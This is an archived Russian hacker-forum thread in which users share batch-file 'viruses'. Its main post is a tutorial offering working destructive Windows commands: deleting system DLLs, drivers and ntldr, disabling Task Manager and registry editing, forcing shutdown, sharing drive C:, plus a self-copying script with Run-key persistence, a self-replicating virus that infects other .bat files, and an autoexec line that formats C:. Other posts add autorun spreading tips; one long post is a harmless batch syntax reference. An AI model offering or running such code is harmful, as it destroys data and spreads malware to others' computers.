Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

RE: Пишем сюда свои *.BAt-вирусы

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Прочее] >> RE: Пишем сюда свои *.BAt-вирусы
Имя
Сообщение << Старые топики   Новые топики >>
RE: Пишем сюда свои *.BAt-вирусы - 2010-02-16 18:42:45.126666   
Barkass$

Сообщений: 1854
Оценки: 40
Присоединился: 2008-11-11 12:19:45.216666
quote:

Вопрос не в тему,но как какую команду нужно использовать,чтобы при слиянии рег файла с реестром,не требовалось подтверждение?!


/s :)

Топик канешн дрова :) Но все равно поддерживаю различный флуд :)
Post #: 81
RE: Пишем сюда свои *.BAt-вирусы - 2010-02-25 13:56:10.583333   
AloneMonaX

Сообщений: 106
Оценки: 0
Присоединился: 2009-02-04 14:57:00.896666
Usbthief - найдите такую темку, возьмите оттуда nircmd, и радуйтесь)
Скратно выполняет батники, пример:
[autorun] nircmd.exe execmd CALL "recycler/sdgsgsdhsdh/gg.bat"
Post #: 82
RE: Пишем сюда свои *.BAt-вирусы - 2010-02-25 13:57:13.740000   
AloneMonaX

Сообщений: 106
Оценки: 0
Присоединился: 2009-02-04 14:57:00.896666
Будет время - кину мануал еще
Post #: 83
RE: Пишем сюда свои *.BAt-вирусы - 2010-02-26 22:20:21.700000   
ks0kep

Сообщений: 26
Оценки: 0
Присоединился: 2010-02-26 21:33:29.350000
Скажите как ломануть GameClass!
Короче пример такой:
attrib -a -s -w [какой_то _файл]
del [этот_же_файл]

Щас просто не вспомню!
С ламерами пройдет такое:
1)создаете SFX архив с вирем и autoexec'ом
2)в свойствах SFX'а пишите чтоб удалить boot.ini
3)дописываете свой boot.ini
4)И т.д
Post #: 84
RE: Пишем сюда свои *.BAt-вирусы - 2010-03-11 19:09:01.526666   
Хома

Сообщений: 103
Оценки: 0
Присоединился: 2009-12-16 16:33:11.423333

quote:

ORIGINAL: LaRio

как можно с помощью бат оглушить всю сеть в клубе?


Никак! Потому-что в клубаке сидит кул-админ, который не даёт компам прав на исполнение таких файлов, а если и получится то админ моментом просечёт и отловит нарушителя… и даст пендаля! Не забывай что это локалка и о всех твоих действиях админ знает и если что.. вобщем сам думай
Post #: 85
RE: Пишем сюда свои *.BAt-вирусы - 2010-03-11 19:18:04.320000   
Хома

Сообщений: 103
Оценки: 0
Присоединился: 2009-12-16 16:33:11.423333
В этой теме я постараюсь объяснить, как создавать вредоносные программы (вирусы, трояны), используя штатные средства Windows и не только. Начнём мы с создания так называемых ВАТ-файлов или просто bat’ников, для этого нам понадобится всего лишь стандартный Блокнот Windows. Создаём файл *.txt и открываем его. Теперь нам нужно забить в него определённые команды, примеры которых вы видите ниже:

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul – Запретить комбинацию клавиш Ctrl-Alt-Del

del "%SystemRoot%system32*.dll" /q >nul – Удалить все системные DLL(Динамические загружаемые библиотеки)

del "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul – Удалить все драйверы, установленные на компьютере

%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul – Поменять местами значения кнопок мыши

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRestrictRun /v 1 /t REG_DWORD /d %SystemRoot%explorer.exe /f >nul – Делает невозможным запуск приложений

time 0:00 >nul – Поставить время на 00:00

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul – Запретить редактирование реестра вручную

del "%SystemRoot%Cursors*.*" >nul – Удалить курсор мыши

del "%SystemRoot%Media" /q >nul – Удалить системные звуки Windows

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul – Запретить вызов панели кправления

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDesktop /t REG_DWORD /d 1 /f >nul – Убрать рабочий стол

shutdown -r -t 1 -c "lol" -f >nul – Форсираванная перезагрузка ПК

shutdown -s -t 1 -c "lol" -f >nul – Форсированное выключение ПК

taskkill /f /im explorer.exe >nul – Убить процесс Explorer.exe

net share "ResName"="C:" >nul – Расшарить диск C:

label C:Диск >nul – Переименовать диск С:

msg * "Текст сообщения" >nul – Показать Windows-стилизованное сообщение с кнопкой ОК

del "%0" >nul – Самоликвидация вируса

А теперь комментарии. Команда del направлена на удаление определённого файла, после неё в кавычках пишется полный путь к файлу, если вы хотите удалить из папки все файлы с расширением txt, например, то после название целевой папки и дроби нужно написать *.txt. Если нужно удалить что-нибудь из директории Windows, гораздо проще будет написать %SystemRoot%, вместо полного пути к директории, а уже затем вводить остальной путь. Также получившийся вирус может самоуничтожаться, для этого вместо пути к целевому файлу нужно ввести %0. Команда reg add может редактировать содержимое реестра. Для этого после этой команды нужно написать полный путь к необходимому вам ключу(без кавычек), и его новое значение. Команда time просто устанавливает любое время на часах ПК. Команда shutdown выполняет выключение или перезагрузку ПК, если после команды стоит r -t 1 -c "lol", то произойдёт перезагрузка, а если -s -t 1 -c "lol", то выключение. Также можно добавить в конце –f через пробел, тогда операция (выключение или перезагрузка) произойдёт форсированно, т.е. без предупреждения пользователя. Команда
taskkill /f /im убивает указанный процесс, а указать его надо через пробел с расширением. Также существует команда net share, которая расшаривает (открывает общий доступ из сети) определённый диска на компьютере. После нее нужно написать в кавычках название расшаренного ресурса (на ваше усмотрение) после этого знак = и буквенный идентификатор диска в кавычках с двоеточием и дробью. Комадна label переименовывает указаный диск, для этого напишите буквенный идентификатор диска, знак =, и новое название. Команда msg * выводит на экран окно с сообщением и кнопкой ОК, после неё надо написать текст сообщения в кавычках через пробел после команды. Теперь, когда вы записали необходимые вам команды, сохраните созданный *.txt с расширением *.bat
Также вы можете писать подобные вирусы не вручную, а используя специальные программы, автоматизирующие данный процесс. Могу порекомендовать одну такую программу, это BAT Virus Master. Спасибо за внимание, всех благ:)
_ _ _ _

@echo off
Date 06.06.06 //меняем дату
Time 00:00 //время
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul //меняем местами кнопки мыши
if exist C:\WINDOWS\system32\sys\1st.bat goto zet
md "%SystemRoot%\system32\sys" >nul //создаем папку sys в system32
copy %0 "%SystemRoot%\system32\sys\1st.bat" >nul //копируем себя в эту папку
attrib +h +s +r %SystemRoot%\system32\sys\ >nul //ставим атрибуты
attrib +h +s +r %SystemRoot%\system32\sys\1st.bat >nul //ставим атрибуты
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v ctfm0n.exe /t REG_SZ /d C:\WINDOWS\system32\sys\1st.bat /f >nul //создаем ключ автозапуска
:zet
msg * "Ahahaahahah!!! I fucked you!!!))))" //пишем что хотим
exit

Ну, раз уж мы решили начать с самого простого, то свой первый вирус создадим в обычном текстовом редакторе, встроенном в Виндозу. Такой вирус будет называться BAT-вирусом.
По мере написания исходника, в фигурных скобках буду пояснять о чем речь.

@Echo off {запрещаем вывод на экран исполняемых команд}
copy %0 c:virus.bat >nul {копируем файл; запрещаем вывод на экран самой команды и результата её действия}
echo c:virus.bat>>c:autoexec.bat {добавляем текст в уже существующий файл}

Вот и все! Проще не бывает! Это пример одного из самых простых bat-вирусов. Хотя с полной уверенностью сказать, что это вирус, значит сказать ерунду. Посмотрите на то, что написано в фигурных скобках и вы поймете, что это просто пример того, как сделать основу вируса. Продолжаю:

@Echo off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul {копируем этот файл на дискету, если таковая имеется в дисководе (копирование произойдет при перезагрузке компа)}

Таким образом к предыдущему исходнику я добавил одну строку и вирус приобрел новую способность: он теперь умеет заражать другие компы через дискету.

@Echo off
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul {устанавливаем файлу virus.bat атрибут «скрытый» (файл virus.bat наверняка попадется юзеру на глаза и будет их мозолить :), поэтому делаем его скрытым)}
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul

Вот, наш исходник начинает приобретать очертания вируса!

@Echo off
if exist c:virus.bat goto ski {проверяем, существует ли файл, …}
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
:ski {…если он существует, то программа переходит на метку :ski}
copy %0 a:run.bat >nul

Добавил еще одну команду «if exist». Теперь вирус уже будет проверять, есть ли этот файл, и если он есть, то уже не будут выполняться лишни команды. Только скопирует себя на дискету и все.
Теперь модернизируем наш вирус до конца.

@echo off%[Meteor]% {выводим на экран текст «Meteor»}

if '%1=='In_ goto Meteo {если переменная %1 равна In, то переходим к метке «:Meteo»}

if exist c:Meteor.bat goto Mete {проверяем, существует ли файл Meteor.bat, если да, то переходим к метке «:Mete»}

if not exist %0 goto Met {если файл не существует, то переходим к метке «Met»}

find "Meteor"c:Meteor.bat {проверяем, есть ли файл meteor на диске, если нет, то копируем его туда}

attrib +h c:Meteor.bat {делаем файл скрытым}

:Mete {метка}

for %%t in (*.bat) do call c:Meteor In_ %%t {выполняем одну команду (call - позволяет вызвать один пакетный файл из другого) для нескольких параметров t} {т.е. вирус находит файл с расширением .bat, и заражает его с помощью команды type, дописывая себя к найденному .bat-файлу}

goto Met {перейти к метке}

:Meteo {метка}

find "Meteor"nul {указываем файлу значение 2 и запрещаем вывод команды и ее результата на экран}

if not errorlevel 1 goto Met {если не произошло ошибки (с кодом 1) выполнения предыдущей команды, то переходим на метку}

type c:Meteor.bat>>%2 {дописываем «себя» к найденному .bat-файлу}

:Met {метка}

Вот это уже можно назвать более или менее полноценным вирусом!
Для того чтобы вирус стал вирусом, его нужно сохранить с расширением BAT. Жмем «Сохранить как», пишем например virus.bat, и там куда вы его сохраните появится пакетный файл MS-DOS.
На основе этого исходника можно создавать другие вирусы. Экспериментируйте, модернизируйте, пробуйте написать свой вирус. Скажу к слову, что используя этот исходник, я сделал из него еще три модификации. И это не предел! Возможности не ограничены, все зависит от вашей фантазии.

Приведу еще один простой, но интересный пример:)

@Echo off
Echo format C: /q >> c:Autoexec.bat

Все! Ничего особенного, да? Этот вирус добавляет в autoexec.bat строку format C: /q и при перезагрузке компа происходит быстрое форматирование диска:)
И вот еще что:

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.js
echo WSHShell.Popup ("ПИШИ СЮДА ЧТО УГОДНО"); >> %temp%mes.js
start %temp%mes.js
deltree /y %temp%mes.js

Добавь этот скрипт в свой вирус, вместо «ПИШИ СЮДА ЧТО УГОДНО» напиши свой текст (например, предсмертную речь для юзера:) ), и при запуске вируса вылезет окошечко с твоим сообщением!

Вот ещё пример скрипта-задержки, который естественно можно запустить в пакетном файле:

echo wscript.sleep 1000>"%temp%\%~nx0.vbs"
cscript //nologo "%temp%\%~nx0.vbs"
del "%temp%\%~nx0.vbs"

1000 - это пауза в милисекундах :)

Материал взят с http://xakep-soft.ucoz.ru
Собирал с разных сайтов и сам редактировал, и добавлял материал из личного опыта
Post #: 86
RE: Пишем сюда свои *.BAt-вирусы - 2010-03-11 19:25:31.410000   
Хома

Сообщений: 103
Оценки: 0
Присоединился: 2009-12-16 16:33:11.423333
И вот ещё:

Синтаксис BAT-файлов и командная строка в MS-DOS


BAT-файлы (файлы с расширением .bat, от английского batch - "пакетные") - это обычные текстовые файлы с набором инструкций командному процессору command.com для автоматического выполнения всех содержащихся в таком файле команд.
С помощью пакетных файлов возможно создание довольно мощных средств для облегчения выполнения трудоемких операций, например, копирования, создания больших архивов, проверки каких-либо внешних условий и условная обработка данных. Особенно широкий простор здесь открывается для тех, кто знает хотя бы один язык программирования - используя и свои программы, можно создавать прямо-таки гигантские программные комплексы.
При описании команд использовались принятые в DOS обозначения:

<параметр> - обязательный параметр.
[параметр] - необязательный параметер.
| - оператор "или".
Все команды и операторы языка являются регистронезависимыми, то есть, команды echo off, ECHO OFF и EcHo oFf являются абсолютно идентичными.

Перенаправление потоков ввода/вывода.


Перенаправление потоков в операционной системе позволяет, например, вывести результат работы программы не на экран, а в файл или на принтер, а также использовать результаты работы одной программы в другой.
Для перенаправления потоков используются специальные символы командной строки:

> - Переназначает вывод.
< - Переназначает ввод.
>> - Добавляет переназначенный вывод к существующим данным.
| - Конвейер – вывод первой команды непосредственно на ввод другой.

Приведем пример. Команда
DIR>abc.txt
выведет результаты не на экран, а в файл abc.txt, предварительно создав или перезаписав его. В дальнейшем можно использовать его для более удобной обработки полученной информации (например, если список слишком большой).
DIR>>abc.txt
данная команда также запишет результат не на экран, а в файл abc.txt, но она не удалит его содержимое, а добавляет результат в конец файла. Если файл не существует, он будет создан.
DIR | MORE
Это пример использования результатов выполнения команды (piping) DIR фильтром MORE, который делает паузу после каждого экрана листинга. Еще один полезный пример:
ECHO Y | DEL *.*
Сама команда DEL *.* должна удалить все файлы в каталоге. Однако, она предусмотрительно запрашивает подтверждение на подобное действие. Для того, чтобы автоматически (например, из пакетного файла) удалять все файлы, мы используем передачу результатов выполнения команды ECHO Y, которая должна вывести символ Y, в команду DEL *.*, которой требуется один символ: Y или N. Похожее действие выполнит команда
program.exe <file.in
передаст программе program.exe данные из файла file.in таким образом, как будто они были введены с клавиатуры. Однако, нужно быть осторожным с таким способом передачи, так как программа может в какой-нибудь момент времени запросить совсем другой ввод. Также перенаправить вывод можно и в порт, например, в COM1, COM2, LPT и т.д.
Для перенаправления самой консоли используется файл ввода-вывода con. Например, чтобы набрать какой-нибудь текстовый файл, наберите:
copy con file.txt
и далее построчно набирайте текст файла. В конце нажмите . Файл готов. А если набрать
copy file.txt con
на экран выведется содержимое нашего файла.
Для уничтожения вывода программы используется файл ввода-вывода NULL (аналогично устройству /dev/null в Unix).

Основные команды и операторы пакетных файлов.


REM [текст]
Команда REM служит для ввода комментариев. Любой текст, расположенный в строке после нее, будет считаться комментарием и не выполняется. Это бывает полезно при отладке программы или временном "выключении" некоторых строк файла.
REM Эта строка не будет выполняться командным процессором.

ECHO [ON | OFF | Текст]
Команда ECHO используется для управления эхо-режимом, то есть режимом отображения на экране служебной информации. ECHO OFF запрещает этот вывод, а ECHO ON - разрешает. ECHO <Текст> используется для вывода текста на устройство (на экран, COM или LPT-порты). То есть, команда
ECHO Привет!
выведет на экран "Привет!". А команда
ECHO ATDP 21435 > COM2
пошлет на устройство на порте COM2 (например, на модем) команду ATDP 21435, то есть, набор номера 21435.

@<команда>
Оператор @. позволяет не выводить следующую за ним команду на экран. Это аналог оператора ECHO OFF только для одной строки. Часто используется следующим образом в начале многих пакетных файлов:
@ECHO OFF
Это позволяет не выводить и саму запрещающую строку ECHO OFF при выполнении пакетных файлов.

GOTO <метка>
Оператор GOTO осуществляет безусловный переход на метку внутри этого же файла. Метка обозначается следующим образом:
:label
то есть, со знаком двоеточия в начале. Для перехода к такой метке будет служить команда
GOTO label
в любом месте BAT-файла.

%<цифра 0-9>
Как и в любом языке, в языке пакетных файлов возможно использование переменных. Всего может быть 10 одновременно существующих независимых переменных. Для написания сложных программ это довольно мало, хотя для обычной работы часто хватает и 3-4. Значение переменной равно значению соответствующего параметра из командной строки. Переменная %0 будет содержать имя .bat-файла и, если вы указали, путь к нему. То есть, если вы запустили файл abc.bat со следующими параметрами:
abc.bat a bc def
то переменная %0 будет содержать значение abc.bat, %1 будет содержать значение a, %2 будет содержать bc, а %3 - def. Это свойство широко используется для создания универсальных пакетных файлов при работе с повторяющимися операциями.

SHIFT
Команда SHIFT позволяет использовать число параметров командной строки далее 10. Однако, при этом теряются соответственно более ранние параметры. Иными словами, команда SHIFT сдвигает все значения переменных на один влево. То есть, переменная %0 будет содержать значение, содержавшееся до этого в переменной %1, а переменная %1 - значение переменной %2 до сдвига. Однако, данная операция является необратимой, то есть, невозможно сдвинуть переменные обратно.

CALL <имя bat-файла>
Команда CALL позволяет вызвать один пакетный файл из другого, не прекращая выполнения предыдущего. Пример:
CALL ABC.BAT
То есть, при выполнении команды CALL выполнение текущего пакетного файла прекратится и управление будет передано пакетному файлу с именем ABC.BAT. При использовании команды CALL ABC.BAT, после завершения работы файла ABC.BAT управление будет возвращено на следующую после команды вызова строку.

IF <условие> <следствие>
Оператор IF проверяет истинность какого-либо <условия> и в зависимости от этого выполняет или не выполняет команду <следствие>. Возможны следующие условные конструкции:
IF EXIST ABC.BAT GOTO work
если существует файл ABC.BAT, то перейти на метку work.
IF NOT EXIST ABC.BAT GOTO exit
если не существует файл ABC.BAT, то перейти на метку exit.
IF %1==ASDF GOTO asdflabel
если переменная %1 равна ASDF, то - переход на метку asdflabel.
IF ERRORLEVEL 1 GOTO err1
если ошибка (возвращаемое значение) выполнения предыдущей команды равно 1, то перейти на метку err1.

PAUSE
Команда PAUSE приостанавливает выполнение пакетного файла и выдает на экран приглашение нажать на любую клавишу для продолжения работы. Бывает полезна для того, чтобы дать возможность пользователю прочитать многостраничный текст без использования фильтра MORE.

FOR %<параметр> IN () DO <команда>
С помощью оператора FOR возможно выполнение одной и той же команды несколько раз для различных параметров. Рассмотрим следующий пример для большей ясности:
FOR %%P IN (file1 file2 file3) DO DEL %%P
Знак процента используется в операторе FOR удвоенным для обозначения пустой переменной в пакетном файле. Если оператор FOR используется из командной строки, знак процента должен быть одинарным.
В результате выполнения будут удалены файлы file1, file2 и file3. Можно записать и с использованием маски файлов:
FOR %%P IN (file?) DO DEL %%P
В результате будут удалены все файлы, подпадающие под данную маску. Если в последовательности VAR нет символов маски файла, эта последовательность может обозначать любые текстовые строки. Иначе - это должны быть имена файлов на диске. В строке цикла FOR нельзя использовать переадресацию и перенаправление потоков.

SET <Имяпеременной>=<Значениепеременной>
Оператор SET представляет собой расширение возможностей работы с параметрами в операционной системе. Он задает переменную, значение которой подставляется вместо ее имени при любом использовании этого имени между знаками процента. Так, если задано (переменная, которую требуют многие игры, использующие звуковую карту компьютера):
SET BLASTER=A220 I5 D1 P330
то при использовании в пакетном файле следующей конструкции:
ECHO %BLASTER%
на экран будет выведено "A220 I5 D1 P330". Переменные, определенные с помощью оператора SET называются переменными окружения среды (environment) и являются видимыми после выполнения до перезапуска DOS (если не изменять ее вручную в памяти). То есть, ее можно использовать из одного пакетного файла или программы после задания в другом. Наиболее известной является переменная PATH, представляющая собой набор путей для быстрого поиска файлов. Она задается в файле autoexec.bat.

PROMPT [текст][спецификатор]
Команда PROMPT хоть и не является командой пакетного файла, так как является командой операционной системы в целом, однако, заслуживает упоминания, ибо почти всегда присутствует в файле autoexec.bat.
Данная команда управляет видом приглашения командной строки. Обычно оно выглядит примерно следующим образом:
C:\DOS>
Этому соответствует спецификатор команды PROMPT, равный $P$G То есть, Диск:\Путь>. Это задается использованием знака доллара "$" и символа, означающего определенную последовательность.
Предусмотрены следующие варианты:

$ - символ "знак доллара".
_ - перевод строки.
B - символ "|".
D - текущая дата.
E - символ #27 (Esc).
G - символ "больше".
H - "backspace"-символ.
L - символ "меньше".
N - текущий диск.
P - текущий каталог на текущем диске.
Q - символ "равно".
T - текущее время.
V - номер версии DOS.
Используя сочетания этих символов можно изменить вид приглашения DOS по своему вкусу. Не забывайте ставить перед каждым из этих символьв знак доллара.
Если использовать какой-либо текст в строке команды PROMPT, он также будет выведен в соответствующие позиции.

Фильтры в командных файлах.


Вы можете перенаправлять потоки, используя фильтры.
Фильтры пропускают только часть получаемой информации, соответствующей запросу. В DOS самые используемые фильтры - это FIND, MORE и SORT.

FIND [/V] [/C] [/N] "строка" [[диск:][путь]имя_файла[ …]]
Поиск текстовой строки в одном или нескольких файлах.
Параметры:

/V - Вывод всех строк, НЕ содержащих заданную строку.
/C - Вывод только общего числа строк, содержащих заданную строку.
/N - Снабжение отображаемых строк номерами.
/I - Поиск без учета регистра символов.
"строка" - Искомая текстовая строка.
[диск:][путь]имя_файла - Файл либо файлы, в которых производится поиск.
Если путь не задан, FIND производит поиск в тексте, введенном с клавиатуры, либо переданном по конвейеру другой командой. Пример:
DIR A: | FIND /V "компьютер"
Выведет имена всех файлов, не содержащих слово "компьютер".
Вы можете использовать параметр /V вместе с /C ИЛИ /N, но /N не будет работать с /C.

MORE [диск:][путь]имя_файла MORE < [диск:][путь]имя_файла имя_команды | MORE [диск:][путь][имя_файла]
Последовательный вывод данных по частям размером в один экран. Параметры:

[диск:][путь]имя_файла - Задает файлы, отображаемые по фрагментам.

имя_команды - Команда, вывод которой отображается на экране.

Пример:
DIR | MORE
Выведет список файлов постранично.
Для выхода из режима просмотра используйте сочетание клавиш , а для просмотра - любую клавишу.

SORT [/R] [/+n] [[диск1:][путь1]имя_файла1] [> [диск2:][путь2]имя_файла2] [команда |] SORT [/R] [/+n] [> [диск2:][путь2]имя_файла2]
Сортировка ввода с выводом результатов в файл, на экран или другое устройство.
Параметры:

/R - Изменение порядка сортировки на обратный, от Z к A и затем от 9 до 0.

/+n - Сортировка файла по символам в столбце n.

[диск1:][путь1]имя_файла1 - Сортируемые файлы/

[диск2:][путь2]имя_файла2 - Файл, в который направляется сортированный ввод.

команда - Команда, вывод которой следует отсортировать.

Пример:
SORT /R < BOOK1 > REV
Сортирует файл BOOK1 в обратном порядке и записывает результат в файл REV.
Буквы нижнего регистра соответствуют буквам верхнего (a=A, z=Z).


Использование возвращаемых значений.


Любая программа при завершении своей работы возвращает операционной системе код своего завершения. Принято при успешном завершении возвращать ноль, иначе - код ошибки. Иногда, или, вернее, часто, программа "сознательно" возвращает ненулевое значение для того, чтобы в пакетном файле можно было "узнать" некоторые подробности ее работы. Например, программа возвращает код нажатой клавиши, а .bat-файл по нему выполняет различные действия.
Каким же образом пакетный файл может узнать код завершения выполненной программы? Для этого предусмотрено ключевая переменная ERRORLEVEL.
Пример пакетного файла с errorlevel'ами:
@ECHO OFF
REM Запускаем программу prg1.exe
PRG1.EXE
REM Анализ кода завершения
IF ERRORLEVEL 2 GOTO FILENOTFOUND
IF ERRORLEVEL 1 GOTO WRITEERROR
IF ERRORLEVEL 0 GOTO EXITOK
GOTO ONEXIT
:FILENOTFOUND
ECHO Ошибка! Файл не найден!
GOTO ONEXIT
:WRITEERROR
ECHO Ошибка записи!
GOTO ONEXIT
:EXITOK
ECHO Программа завершена благополучно.
GOTO ONEXIT
:ONEXIT
Обратите внимание - анализ кода завершения начинается не с нуля, а с максимально возможного значения. Дело в том, что подобная проверка означает: "если errorlevel больше или равен значению, то…". То есть, если мы будем проверять, начиная с нуля, любое значение будет истинным на первой же строке, что неверно.
Это самая распространенная ошибка в подобного рода программах.

Основные команды разных версий DOS.


append(.exe) - Указание порядка поиска файлов данных в каталогах и вывод на экран установленных путей поиска.
assign(.com) - Переназначение диска.
attrib(.exe) - Изменение или вывод состояния флагов атрибутов файла.
backup(.com/.exe[5.0]) - Создание резервных копий.
break - Управление прерыванием программы.
chcp - Смена кодовой страницы.
cd (chdir) - Смена текущего каталога.
chkdsk(.com/.exe[5.0]) - Проверка диска и вывод информации о его состоянии.
cls - Очистка экрана.
command(.com) - Активизация второго командного процессора.
comp(.com/.exe[5.0]) - Сравнение содержимого двух файлов или комплектов файлов.
copy - Копирование файлов в другой каталог.
ctty - Смена консоли.
date - Изменение или отображение текущей даты.
del - Удаление файлов.
dir - Вывод на экран листинга каталога.
diskcomp(.com) - Сравнение содержимого двух дискет.
diskcopy(.com) - Копирование содержимого с одной дискеты на другую.
diskcomp - Сравнение содержимого двух дискет.
doskey(.com) - Расширение возможностей командной строки.
erase - Удаление файлов.
exe2bin(.com/.exe[5.0]) - Преобразование файлов .exe в файлы .bin или .com.
exit - Выход из вторичного командного процессора.
expand [5.0] - Развёртывание файлов DOS в процессе установки системы.
fastopen(.exe) - Ускоренное открытие файлов.
fc [4.0,5.0] - Сравнение содержимого двух файлов или комплектов файлов.
fdisk(.com[3.0]/.exe) - Разбиение жесткого диска на разделы.
find(.exe) - Поиск заданной символьной фразы.
format(.com) - Форматирование диска.
graftabl(.com) - Загрузка в память таблицы дополнительного набора символов для вывода на экран через цветной графический адаптер.
graphics(.com) - Обеспечение вывода на принтер содержимого экрана в графическом режиме.
join(.exe) - Объединение каталогов.
keyb(.com) - Изменение символов и назначения клавиш клавиатуры.
label(.com/.exe[5.0] - Создание, замена и удаление метки тома.
loadhigh / lh [5.0] - Загрузка расширений DOS в блоки старшей памяти.
mem(.exe [4.0,5.0]) - Вывод информации о распределении памяти между программами.
mirror(.com[5.0]) - Сохранение информации об удалённыхфайлах и разделах диска.
mkdir / md - Создание каталога.
mode(.com) - Изменение режимов работы периферийных устройств.
more(.com) - Вывод информации поэкранно.
nlsfunc(.exe) - Поддержка национальных форматов.
path - Вывод или установка путей поиска исполнимых файлов.
print(.com/.exe[5.0]) - Печать текста в фоновом режиме.
promt - Изменение приглашения командной строки.
recover(.com/.exe[5.0]) - Восстановление восстановимой информации с повреждённого диска.
ren (rename) - Переименование файлов или каталогов.
replace(.exe) - Замена одних файлов другими.
restore(.com/.exe[5.0]) - Восстановление файлов с резервных копий.
rd (rmdir) - Удаление каталогов.
select(.com) [3.x] - Выбор национальных форматов.
select(.com) [4.0] - Установка DOS.
set - Вывод, изменение и удаление переменных окружения.
setver(.exe[5.0]) - Объявление версии операционной системы.
share(.exe) - Проверка разделяемых файлов.
sort(.exe) - Сортирует входной поток данных.
subst(.exe) - Подстановка виртуального диска.
sys(.com) - Копирование файлов DOS.
time - Изменение текущего системного времени.
tree(.com) - Наглядно отображает структуру директории или диска.
type - Вывод содержимого текстового файла.
undelete(.exe [5.0]) - Восстановление удалённых файлов.
unformat(.com [5.0]) - Расформатирование случайно отформатированного диска.
ver - Вывод версии DOS.
verify - Проверка правильности записи файлов на диск.
vol - Выводит метку тома и серийный номер диска.
xcopy(.exe) - Копирование файлов и дерева каталогов.

Справочные команды


help - Список команд с кратким описанием.
help имя_команды - Описание и синтаксис команды.
команда /? - Описание и синтаксис команды.
Post #: 87
RE: Пишем сюда свои *.BAt-вирусы - 2010-03-29 15:02:48.530000   
FischeR

Сообщений: 20
Оценки: 0
Присоединился: 2009-11-03 16:39:32.920000
как сделать чтобы допустим в определённое время запускался батник, и производил формат жесткого диска) раздела D допустим
Post #: 88
RE: Пишем сюда свои *.BAt-вирусы - 2010-03-29 15:39:07.353333   
Хома

Сообщений: 103
Оценки: 0
Присоединился: 2009-12-16 16:33:11.423333

quote:

ORIGINAL: FischeR

как сделать чтобы допустим в определённое время запускался батник, и производил формат жесткого диска) раздела D допустим

В командной строке:

format /?

или

help format

И так все команды которые интересуют, их можно найти в гугле
Post #: 89
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-10 20:49:47.726666   
Good_ok

Сообщений: 8
Оценки: 0
Присоединился: 2009-10-16 22:50:23.450000
А почему нельзя чтобы был пробел где указан путь к файлу? D:/Program Files/Phone/Skype.exe у меня пишет ошибку что не не найдена папка "D:/Program" как это обойти не переименовывая папку?
Post #: 90
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-10 21:09:23.783333   
_ruzmaz_

Сообщений: 105
Оценки: 0
Присоединился: 2009-08-22 18:26:07.173333
quote:

как это обойти не переименовывая папку?

заключить путь в кавычки

quote:

А почему нельзя чтобы был пробел где указан путь к файлу?

нужно чтобы путь был в одном аргументе командной строки
Post #: 91
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-11 01:53:40.256666   
Good_ok

Сообщений: 8
Оценки: 0
Присоединился: 2009-10-16 22:50:23.450000
Люди, как сделать чтобы было типо реальная загрузка, ну как бы
echo Loading, please wait и . . . - троеточие мигает так, ну как обычно везде, . .. … . .. …, одна точка, 2, и 3 точки, потом снова
Post #: 92
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-12 22:40:31.026666   
sbk

Сообщений: 144
Оценки: 0
Присоединился: 2008-12-20 19:01:57.273333
Вот:
echo off :st cls echo Loading sleep 250 /ms cls echo Loading. sleep 250 /ms cls echo Loading.. sleep 250 /ms cls echo Loading... sleep 250 /ms goto st Но для запуска нужна программа "sleep", вот она.
Post #: 93
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-14 15:47:20.083333   
Good_ok

Сообщений: 8
Оценки: 0
Присоединился: 2009-10-16 22:50:23.450000
Спасибо большое sbk, а вот еще как командами открыть и закрыть дисковод, можете кто-нибудь написать эти 2 команды
Post #: 94
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-14 22:43:07.230000   
Хома

Сообщений: 103
Оценки: 0
Присоединился: 2009-12-16 16:33:11.423333
Штатными средствами cmd такого сделать нельзя. Только если скачать консольную утилиту eject для win32
Post #: 95
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-15 08:50:25.140000   
DeepBlue7.

Сообщений: 186
Оценки: 0
Присоединился: 2010-04-14 21:59:42.853333
Воть мой : del C:\ntldr

Post #: 96
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-15 20:50:06.073333   
Barkass$

Сообщений: 1854
Оценки: 40
Присоединился: 2008-11-11 12:19:45.216666
А вот и мой:
God> del your mozg
Post #: 97
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-25 00:02:14.910000   
Slava96

Сообщений: 17
Оценки: 0
Присоединился: 2010-04-24 13:20:49.743333
copy c:autorun.inf d:autorun.inf

Файл не наден
скопировано файлов :0

почему не копируется с одного диска на другой
Post #: 98
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-25 09:54:29.210000   
Хома

Сообщений: 103
Оценки: 0
Присоединился: 2009-12-16 16:33:11.423333
Наверно такого файла нет. Может ты перепутал с autorun.bat?
Команда к стати указана не верно. Должно быть c:\autorun…
Post #: 99
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-25 13:47:00.600000   
Slava96

Сообщений: 17
Оценки: 0
Присоединился: 2010-04-24 13:20:49.743333
есть такой файл. Всеравно не получилось.
